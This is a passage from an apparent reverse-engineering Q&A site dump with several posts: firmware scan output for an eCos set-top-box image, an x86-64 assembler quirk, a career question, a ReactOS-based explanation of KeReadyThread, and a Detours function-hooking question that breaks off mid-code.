reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/disk/v2_0_60/src/disk.c&quot;&#xA;5006707       0x4C6573        eCos RTOS string reference: &quot;eCospro/packages/io/disk/v2_0_60/src/disk.c&quot;&#xA;5008348       0x4C6BDC        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/hal/common/v2_0_60/src/hal_misc.c&#xA;5008349       0x4C6BDD        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/hal/common/v2_0_60/src/hal_misc.c&quot;&#xA;5008379       0x4C6BFB        eCos RTOS string reference: &quot;eCospro/packages/hal/common/v2_0_60/src/hal_misc.c&quot;&#xA;5008609       0x4C6CE1        eCos RTOS string reference: &quot;eCos][CPU INFO] : CPU Clock = %d : RTC Period = %d&quot;&#xA;5009060       0x4C6EA4        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/clock.cxx&#xA;5009061       0x4C6EA5        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/clock.cxx&quot;&#xA;5009091       0x4C6EC3        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/common/clock.cxx&quot;&#xA;5009409       0x4C7001        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/kapi.cxx&quot;&#xA;5009439       0x4C701F        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/common/kapi.cxx&quot;&#xA;5009493       0x4C7055        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/th&quot;&#xA;5009523       0x4C7073        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/thread.inl&quot;&#xA;5009541       0x4C7085        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/thread.inl&quot;&#xA;5010176       0x4C7300        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/thread.cxx&#xA;5010177       0x4C7301        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/thread.cxx&quot;&#xA;5010207       0x4C731F        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/common/thread.cxx&quot;&#xA;5010465       0x4C7421        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/except.cxx&quot;&#xA;5010495       0x4C743F        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/common/except.cxx&quot;&#xA;5010684       0x4C74FC        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/intr/intr.cxx&#xA;5010685       0x4C74FD        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/intr/intr.cxx&quot;&#xA;5010715       0x4C751B        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/intr/intr.cxx&quot;&#xA;5011337       0x4C7789        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sched/mlqueue.cxx&quot;&#xA;5011367       0x4C77A7        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/sched/mlqueue.cxx&quot;&#xA;5011925       0x4C79D5        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sched/sched.cxx&quot;&#xA;5011955       0x4C79F3        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/sched/sched.cxx&quot;&#xA;5012620       0x4C7C8C        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx&#xA;5012621       0x4C7C8D        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx&quot;&#xA;5012651       0x4C7CAB        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx&quot;&#xA;5012833       0x4C7D61        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sync/flag.cxx&quot;&#xA;5012863       0x4C7D7F        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/sync/flag.cxx&quot;&#xA;5013293       0x4C7F2D        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/mb&quot;&#xA;5013323       0x4C7F4B        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/mboxt2.inl&quot;&#xA;5013341       0x4C7F5D        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/mboxt2.inl&quot;&#xA;5014181       0x4C82A5        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sync/mutex.cxx&quot;&#xA;5014211       0x4C82C3        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/sync/mutex.cxx&quot;&#xA;5014897       0x4C8571        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/services/memalloc/common/v2_0_60/src/dlmalloc.cxx&quot;&#xA;5014927       0x4C858F        eCos RTOS string reference: &quot;eCospro/packages/services/memalloc/common/v2_0_60/src/dlmalloc.cxx&quot;&#xA;5015649       0x4C8861        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/setjmp/v2_0_60/src/longjmp.cxx&quot;&#xA;5015679       0x4C887F        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/setjmp/v2_0_60/src/longjmp.cxx&quot;&#xA;5015829       0x4C8915        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdi&quot;&#xA;5015859       0x4C8933        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/stream.inl&quot;&#xA;5015877       0x4C8945        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/stream.inl&quot;&#xA;5016101       0x4C8A25        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/stdio/v2_0_60/src/common/stream.cxx&quot;&#xA;5016131       0x4C8A43        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/stdio/v2_0_60/src/common/stream.cxx&quot;&#xA;5016201       0x4C8A89        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdi&quot;&#xA;5016231       0x4C8AA7        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/streambuf.inl&quot;&#xA;5016249       0x4C8AB9        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/streambuf.inl&quot;&#xA;5017624       0x4C9018        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/string/v2_0_60/src/strtok.cxx&#xA;5017625       0x4C9019        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/string/v2_0_60/src/strtok.cxx&quot;&#xA;5017655       0x4C9037        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/string/v2_0_60/src/strtok.cxx&quot;&#xA;5018041       0x4C91B9        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/fd.cxx&quot;&#xA;5018071       0x4C91D7        eCos RTOS string reference: &quot;eCospro/packages/io/fileio/v2_0_60/src/fd.cxx&quot;&#xA;5018177       0x4C9241        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/file.cxx&quot;&#xA;5018207       0x4C925F        eCos RTOS string reference: &quot;eCospro/packages/io/fileio/v2_0_60/src/file.cxx&quot;&#xA;5018605       0x4C93ED        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/dir.cxx&quot;&#xA;5018635       0x4C940B        eCos RTOS string reference: &quot;eCospro/packages/io/fileio/v2_0_60/src/dir.cxx&quot;&#xA;5018749       0x4C947D        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/select.cxx&quot;&#xA;5018779       0x4C949B        eCos RTOS string reference: &quot;eCospro/packages/io/fileio/v2_0_60/src/select.cxx&quot;&#xA;5018857       0x4C94E9        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/startup/v2_0_60/src/main.cxx&quot;&#xA;5018887       0x4C9507        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/startup/v2_0_60/src/main.cxx&quot;&#xA;5019141       0x4C9605        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdi&quot;&#xA;5019171       0x4C9623        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/stdiofiles.inl&quot;&#xA;5019189       0x4C9635        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/stdiofiles.inl&quot;&#xA;5020472       0x4C9B38        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx&#xA;5020473       0x4C9B39        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx&quot;&#xA;5020503       0x4C9B57        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx&quot;&#xA;5020609       0x4C9BC1        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/startup/v2_0_60/src/atexit.cxx&quot;&#xA;5020639       0x4C9BDF        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/startup/v2_0_60/src/atexit.cxx&quot;&#xA;5021120       0x4C9DC0        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/ntfs/v2_0_60/src/attrib.c&#xA;5021121       0x4C9DC1        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/ntfs/v2_0_60/src/attrib.c&quot;&#xA;5021151       0x4C9DDF        eCos RTOS string reference: &quot;eCospro/packages/fs/ntfs/v2_0_60/src/attrib.c&quot;&#xA;5021876       0x4CA0B4        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/ntfs/v2_0_60/src/ntfs_blib.c&#xA;5021877       0x4CA0B5        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/ntfs/v2_0_60/src/ntfs_blib.c&quot;&#xA;5021907       0x4CA0D3        eCos RTOS string reference: &quot;eCospro/packages/fs/ntfs/v2_0_60/src/ntfs_blib.c&quot;&#xA;5033632       0x4CCEA0        Unix path: /home/mstar/PERFORCE/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/hal/kriti/audio/halAUDIO.c&#xA;5033707       0x4CCEEB        eCos RTOS string reference: &quot;ecos/../../mxlib/hal/kriti/audio/halAUDIO.c&quot;&#xA;5038144       0x4CE040        Unix path: /home/stb/PERFORCE/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/hal/kriti/dac/halDAC.c&#xA;5038217       0x4CE089        eCos RTOS string reference: &quot;ecos/../../mxlib/hal/kriti/dac/halDAC.c&quot;&#xA;5066028       0x4D4D2C        Unix path: /home/mstar/PERFORCE/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/hal/kriti/mvd/halMVD.c&#xA;5066103       0x4D4D77        eCos RTOS string reference: &quot;ecos/../../mxlib/hal/kriti/mvd/halMVD.c&quot;&#xA;5091476       0x4DB094        eCos RTOS string reference: &quot;eCos Newhost&quot;&#xA;5108812       0x4DF44C        Unix path: /home/stb/PERFORCE/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/hal/kriti/ve/mhal_tvencoder.c&#xA;5108885       0x4DF495        eCos RTOS string reference: &quot;ecos/../../mxlib/hal/kriti/ve/mhal_tvencoder.c&quot;&#xA;5109464       0x4DF6D8        Unix path: /home/franke.wu/workspace/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/msos/ecos/MsOS_ecos.c&#xA;5109544       0x4DF728        eCos RTOS string reference: &quot;ecos/../../mxlib/msos/ecos/MsOS_ecos.c&quot;&#xA;5109566       0x4DF73E        eCos RTOS string reference: &quot;ecos/MsOS_ecos.c&quot;&#xA;5109576       0x4DF748        eCos RTOS string reference: &quot;ecos.c&quot;&#xA;5110012       0x4DF8FC        Unix path: /home/franke.wu/workspace/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/drv/miu/drvMIU.c&#xA;5110092       0x4DF94C        eCos RTOS string reference: &quot;ecos/../../mxlib/drv/miu/drvMIU.c&quot;&#xA;5110300       0x4DFA1C        eCos RTOS string reference: &quot;ecos/../../mxlib/drv/sys/drvDMD_VD_MBX.c&quot;&#xA;5304106       0x50EF2A        Unix path: /../src/si_v2/apiSI.c&#xA;5307730       0x50FD52        Unix path: /../src/dvb_subtitle/apiSubtitle_DC2_Decoder.c&#xA;5308386       0x50FFE2        Unix path: /../src/dvb_subtitle/apiSubtitle_Decoder.c&#xA;5403172       0x527224        CRC32 polynomial table, little endian&#xA;5407268       0x528224        CRC32 polynomial table, big endian&#xA;5428390       0x52D4A6        Unix path: /../src/mm/mapp_music.c&#xA;5431970       0x52E2A2        Unix path: /../src/espvr/apiEsPVR.cpp&#xA;5433930       0x52EA4A        Unix path: /../src/espvr/core/src/api/mapi_pvr_browser.cpp&#xA;5434774       0x52ED96        Unix path: /../src/espvr/core/src/api/mapi_pvr.cpp&#xA;5438298       0x52FB5A        Unix path: /../src/espvr/core/src/utility/PVR_File_Operand.cpp&#xA;5438798       0x52FD4E        Unix path: /../src/espvr/core/src/context/PVR_File_Root.cpp&#xA;5439894       0x530196        Unix path: /../src/espvr/core/src/context/PVR_Metadata.cpp&#xA;5441758       0x5308DE        Unix path: /../src/espvr/core/src/path/PVR_Path_Download.cpp&#xA;5443490       0x530FA2        Unix path: /../src/espvr/core/src/path/PVR_Path_DualDownload.cpp&#xA;5445230       0x53166E        Unix path: /../src/espvr/core/src/path/PVR_Path_ESPlayer.cpp&#xA;5445914       0x53191A        Unix path: /../src/espvr/core/src/path/PVR_Path_Manager.cpp&#xA;5447010       0x531D62        Unix path: /../src/espvr/core/src/path/PVR_Path_TSPlayer.cpp&#xA;5448770       0x532442        Unix path: /../src/espvr/core/src/context/PVR_Splitted_File.cpp&#xA;5449582       0x53276E        Unix path: /../src/espvr/core/src/context/PVR_Sys.cpp&#xA;5450354       0x532A72        Unix path: /../src/espvr/core/src/path/PVR_Thread.cpp&#xA;5452094       0x53313E        Unix path: /../src/espvr/core/src/path/PVR_Upload_State_Scan.cpp&#xA;5452634       0x53335A        Unix path: /../src/espvr/core/src/context/PVR_VideoParser.cpp&#xA;5453802       0x5337EA        Unix path: /../src/espvr/core/src/data_manager/PVR_Data_RingBuffer.cpp&#xA;5454258       0x5339B2        Unix path: /../src/espvr/core/src/context/PVR_File_IO_Read.cpp&#xA;5456690       0x534332        Unix path: /../src/espvr/core/src/context/PVR_File_IO_Write.cpp&#xA;5457670       0x534706        Unix path: /../src/espvr/core/src/path/PVR_Upload_State_188Normal.cpp&#xA;5458488       0x534A38        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/infra/v2_0_60/src/pure.cxx&#xA;5458489       0x534A39        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/infra/v2_0_60/src/pure.cxx&quot;&#xA;5458519       0x534A57        eCos RTOS string reference: &quot;eCospro/packages/infra/v2_0_60/src/pure.cxx&quot;&#xA;5458613       0x534AB5        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/services/memalloc/common/v2_0_60/src/kapi.cxx&quot;&#xA;5458643       0x534AD3        eCos RTOS string reference: &quot;eCospro/packages/services/memalloc/common/v2_0_60/src/kapi.cxx&quot;&#xA;5460693       0x5352D5        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/&quot;&#xA;5460723       0x5352F3        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mfiximpl.inl&quot;&#xA;5460741       0x535305        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mfiximpl.inl&quot;&#xA;5461473       0x5355E1        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/&quot;&#xA;5461503       0x5355FF        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mvarimpl.inl&quot;&#xA;5461521       0x535611        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mvarimpl.inl&quot;&#xA;5462269       0x5358FD        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/stdio/v2_0_60/src/common/setvbuf.cxx&quot;&#xA;5462299       0x53591B        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/stdio/v2_0_60/src/common/setvbuf.cxx&quot;&#xA;5522696       0x544508        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/i18n/v2_0_60/src/locale.cxx&#xA;5522697       0x544509        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/i18n/v2_0_60/src/locale.cxx&quot;&#xA;5522727       0x544527        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/i18n/v2_0_60/src/locale.cxx&quot;&#xA;5523265       0x544741        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/stdio/v2_0_60/src/input/fgetc.cxx&quot;&#xA;5523295       0x54475F        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/stdio/v2_0_60/src/input/fgetc.cxx&quot;&#xA;5524333       0x544B6D        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/time/v2_0_60/src/strftime.cxx&quot;&#xA;5524363       0x544B8B        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/time/v2_0_60/src/strftime.cxx&quot;&#xA;6055568       0x5C6690        LZMA compressed data, properties: 0x5A, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes&#xA;7114983       0x6C90E7        Boot section Start 0x7040000 End 0x-FFF9&#xA;7564060       0x736B1C        YAFFS filesystem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;http://pastebin.com/uT5X3y7t&quot; rel=&quot;nofollow&quot;&gt;boot log&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3810" LastEditorUserId="3810" LastEditDate="2016-10-19T21:19:13.767" LastActivityDate="2016-10-19T21:19:13.767" Title="How can I find loading adress of eCos image" Tags="|binary-analysis|firmware|mips|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13714" PostTypeId="2" ParentId="2627" CreationDate="2016-10-14T00:33:38.893" Score="3" Body="&lt;p&gt;I noticed that GAS translates &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movq $0x80000000, %rax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movabs 0x80000000, %rax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But values smaller than 0x80000000 movement is not translated into &lt;code&gt;movabs&lt;/code&gt;.&#xA;That is, &lt;code&gt;movq $0x7fffffff, $rbx&lt;/code&gt; is NOT translated into &lt;code&gt;movabs $0x7fffffff, %rbx&lt;/code&gt;. You can verify with &lt;code&gt;disas&lt;/code&gt; disassemble command within GDB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the reason is that &lt;code&gt;$0x80000000&lt;/code&gt; is over the signed positive number range of 32 bit and needs to be translated into 64-bit integer.  For the reason, GAS translates such larger number into  64-bit long integer and therefore uses &lt;code&gt;movabsq&lt;/code&gt; instruction instead of &lt;code&gt;movq&lt;/code&gt; instruction whose immediate source is limited to 32 bit constant.&lt;/p&gt;&#xA;" OwnerUserId="17752" LastEditorUserId="2563" LastEditDate="2018-08-08T16:03:34.283" LastActivityDate="2018-08-08T16:03:34.283" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="13715" PostTypeId="1" CreationDate="2016-10-14T00:41:00.717" Score="1" ViewCount="136" Body="&lt;p&gt;Just curious if there are any resources for finding a job being a Reverse Engineering specialist.  I have done some RE work in the past, and I find that I enjoy the work, but haven't really been able to find any job boards, or rather the typical job boards seldom mention &quot;Information Security&quot; positions let alone people who specialize in Reverse Engineering.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastEditorUserId="2886" LastEditDate="2016-10-14T18:43:26.953" LastActivityDate="2016-10-14T18:43:26.953" Title="How to get a job in the Reverse Engineering community?" Tags="|career-advice|" AnswerCount="0" CommentCount="3" ClosedDate="2016-10-14T18:42:09.253" ContentLicense="CC BY-SA 3.0" />
  <row Id="13716" PostTypeId="2" ParentId="13712" CreationDate="2016-10-14T00:50:54.833" Score="1" Body="&lt;p&gt;Obviously, &lt;code&gt;KeReadyThread&lt;/code&gt; has a single argument passed to it in the &lt;code&gt;eax&lt;/code&gt; register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To actually reverse your way to that argument's structure/type you'll need to do quite a bit of reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily for you, the guys at &lt;a href=&quot;https://www.reactos.org/&quot; rel=&quot;nofollow&quot;&gt;ReactOS&lt;/a&gt; already did that for you.&#xA;If you take a look at that link, you'll see ReactOS's implementation of &lt;a href=&quot;https://doxygen.reactos.org/d2/d38/thrdobj_8c.html#ad30c443f4175fcd667aed8d98bc70e5c&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;KeReadyThread&lt;/code&gt;&lt;/a&gt; accepting a single parameter of the structure &lt;a href=&quot;https://doxygen.reactos.org/db/dc9/nt__native_8h.html#a0418f5521057bf02fe3ca9be8ec7a03f&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;PKTREAD&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is &lt;code&gt;KeReadyThread&lt;/code&gt;'s code from ReactOS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;113 VOID&#xA;114 NTAPI&#xA;115 KeReadyThread(IN PKTHREAD Thread)&#xA;116 {&#xA;117     KIRQL OldIrql;&#xA;118     ASSERT_THREAD(Thread);&#xA;119     ASSERT_IRQL_LESS_OR_EQUAL(DISPATCH_LEVEL);&#xA;120 &#xA;121     /* Lock the Dispatcher Database */&#xA;122     OldIrql = KiAcquireDispatcherLock();&#xA;123 &#xA;124     /* Make the thread ready */&#xA;125     KiReadyThread(Thread);&#xA;126 &#xA;127     /* Unlock dispatcher database */&#xA;128     KiReleaseDispatcherLock(OldIrql);&#xA;129 }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And specifically, that dereference you're seeing at the top of the assembly you shared is the implementation of &lt;a href=&quot;https://doxygen.reactos.org/dd/d83/ndk_2ketypes_8h.html#aa2ef5c1532eeb201ff804f832967e6f6&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ASSERT_THREAD&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define ASSERT_THREAD (object) ASSERT((((object)-&amp;gt;Header.Type &amp;amp; KOBJECT_TYPE_MASK) == ThreadObject))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-10-14T00:50:54.833" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13717" PostTypeId="1" AcceptedAnswerId="13723" CreationDate="2016-10-14T03:13:39.113" Score="0" ViewCount="1417" Body="&lt;p&gt;I am trying to read the arguments sent to an external dll file &quot;FlashToolLib.dll&quot;. My hook function is never triggered, I am guessing because I have the address wrong.  I have tried the address in both the dll, and the exe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FUNCTION:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; public FlashTool_Connect_BROM_ByName&#xA;.text:5F866580 FlashTool_Connect_BROM_ByName proc near&#xA;.text:5F866580&#xA;.text:5F866580 var_B4          = dword ptr -0B4h&#xA;.text:5F866580 var_B0          = dword ptr -0B0h&#xA;.text:5F866580 var_AC          = dword ptr -0ACh&#xA;.text:5F866580 var_A8          = dword ptr -0A8h&#xA;.text:5F866580 var_A4          = dword ptr -0A4h&#xA;.text:5F866580 var_A0          = dword ptr -0A0h&#xA;.text:5F866580 var_9C          = dword ptr -9Ch&#xA;.text:5F866580 var_98          = dword ptr -98h&#xA;.text:5F866580 var_94          = dword ptr -94h&#xA;.text:5F866580 var_84          = dword ptr -84h&#xA;.text:5F866580 var_80          = dword ptr -80h&#xA;.text:5F866580 var_7C          = dword ptr -7Ch&#xA;.text:5F866580 var_78          = dword ptr -78h&#xA;.text:5F866580 var_68          = dword ptr -68h&#xA;.text:5F866580 var_64          = dword ptr -64h&#xA;.text:5F866580 var_60          = dword ptr -60h&#xA;.text:5F866580 var_5C          = dword ptr -5Ch&#xA;.text:5F866580 var_4C          = dword ptr -4Ch&#xA;.text:5F866580 var_48          = dword ptr -48h&#xA;.text:5F866580 var_44          = dword ptr -44h&#xA;.text:5F866580 var_40          = dword ptr -40h&#xA;.text:5F866580 var_30          = dword ptr -30h&#xA;.text:5F866580 var_2C          = dword ptr -2Ch&#xA;.text:5F866580 var_28          = dword ptr -28h&#xA;.text:5F866580 var_4           = dword ptr -4&#xA;.text:5F866580 arg_0           = dword ptr  8&#xA;.text:5F866580 arg_4           = dword ptr  0Ch&#xA;.text:5F866580 arg_8           = dword ptr  10h&#xA;.text:5F866580 arg_C           = dword ptr  14h&#xA;.text:5F866580 arg_10          = dword ptr  18h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MY C++ CODE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #include &quot;stdafx.h&quot;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;detours.h&amp;gt;&#xA;#include &amp;lt;Windows.h&amp;gt;&#xA;&#xA;&#xA;void hookedFunc(DWORD arg1, DWORD arg2, DWORD arg3, DWORD arg4, DWORD arg5) {&#xA;&#xA;&#xA;    //Msgbox - arg 1//////////////////////////////////////////////////////////////////////////////&#xA;    WCHAR szTest[10]; // WCHAR is the same as wchar_t&#xA;                      // swprintf_s is the same as sprintf_s for wide characters&#xA;    swprintf_s(szTest, 10, L&quot;%d&quot;, arg1); // use L&quot;&quot; prefix for wide chars&#xA;    MessageBox(NULL, szTest, L&quot;TEST&quot;, MB_OK); // a messageboy example again L as prefix&#xA;    /////////////////////////////////////////////////////////////////////////////////////////////&#xA;&#xA;    std::cout &amp;lt;&amp;lt; &quot;original function: argument1 = &quot; 